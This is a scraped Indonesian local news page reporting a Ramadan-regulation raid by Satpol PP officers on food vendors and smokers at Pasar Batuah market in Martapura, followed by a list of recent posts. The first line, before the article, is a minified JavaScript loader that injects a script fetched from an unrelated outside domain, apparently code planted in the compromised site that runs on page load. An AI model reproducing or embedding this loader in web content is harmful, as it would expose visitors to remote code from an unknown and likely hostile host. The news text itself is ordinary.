(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Langgar Perda Ramadhan, Penjual Minuman Diangkut dari Pasar Batuah


MARTAPURA, Bandel membuka lapak dan menjajakan makanan di siang bolong, Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar gelar razia gabungan Perda Ramadhan menyisir kawasan pasar Batuh Martapura.

Razia Gabungan penegakan Perda Ramadhan di hari ke 16 Ramadhan 1440 Hijriah ini, berlangsung pagi menjelang siang, melibatkan Polres Banjar dan Kodim 1006 Martapura serta PD Pasar Bauntung Batuah.

Razia ini ditujukan kepada pedagang makanan minuman yang membuka lapaknya lebih awal dari jam yang ditentukan, kemudian kepada masyarakat yang makan minum maupun merokok di siang hari sebelum pukul 15.00 Wita di tempat umum. Begitu disampaikan Kasi Lidik dan Penyidik Satpol PP Kabupaten Banjar Wahyudi.

“Sebenarnya razia hari ini sudah disampaikan surat imbauan kepada para pedagang makanan minuman bahkan surat peringatan untuk tidak melakukan jual beli diluar waktu yang ditentukan,  namun mereka masih bandel jadi kita angkut saja,” akunya.

Diakuinya temuan warung hingga lapak yang membandel buka di siang hari pada tahun ini jika dibanding dengan tahun sebelumnya mengalami penurunan. Artinya pedagang sudah banyak yang mematuhi Perda Ramadhan tersebut.

“Hari ini kita hanya mendapati dua lapak yang menjual makanan saja, yang punya lapak kabur tidak ada di tempat,  satu orang merokok di siang bolong,  dan satu orang peminta sumbangan tanpa izin yang jelas,  semuanya kita dapati di lingkungan pasar Batuah Martapura,” ujarnya.

Lebih lanjut Wahyudi menambahkan bagi pedagang yang kedapatan pada hari ini jualannya sebagian di angkut dan akan di data ke kantor satpol PP Banjar, Walaupun sebelumnya sudah diberikan peringatan berjenjang dari SP 1 hingga SP3.

“Apabila masih mengindahkan maka pihaknya akan menertibkan dagangan beserta lapaknnya. Ini dilakukan agar menjadi efek jera bagi pedagang yang melanggar Perda Ramadhan ini,” pungkasnya. (rendy) 

Reporter:Rendy
Editor:Bie

Desy Arfianty

Recent Posts

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

2 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

3 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

5 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

9 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

9 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

12 jam ago

This website uses cookies.